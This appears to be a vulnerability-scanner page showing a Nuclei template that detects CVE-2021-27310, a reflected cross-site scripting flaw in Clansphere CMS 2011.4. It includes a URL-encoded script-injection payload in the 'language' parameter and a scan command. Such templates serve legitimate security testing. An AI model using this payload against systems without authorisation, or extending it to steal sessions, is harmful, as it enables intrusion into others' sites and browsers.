Clansphere CMS 2011.4 - Cross-Site Scripting

ID: CVE-2021-27310

Severity: medium

Author: alph4byt3

Tags: cve2021,cve,xss,clansphere,csphere

Description

Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the “language” parameter.

YAML Source

id: CVE-2021-27310

info:
  name: Clansphere CMS 2011.4 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "language" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22language%22%20xss.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27310
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27310
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27310
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43249
    cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: csphere
    product: clansphere
  tags: cve2021,cve,xss,clansphere,csphere

http:
  - method: GET
    path:
      - '{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b8a2e1dbadab0585af6165cffe9233ac3990fea3c7e3e138c5f8771e8ad93c2402207b1e713d4be56c09ada2ce7507238459f3049e42ec5df99f4aaa2c3410e5c130:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27310.yaml"

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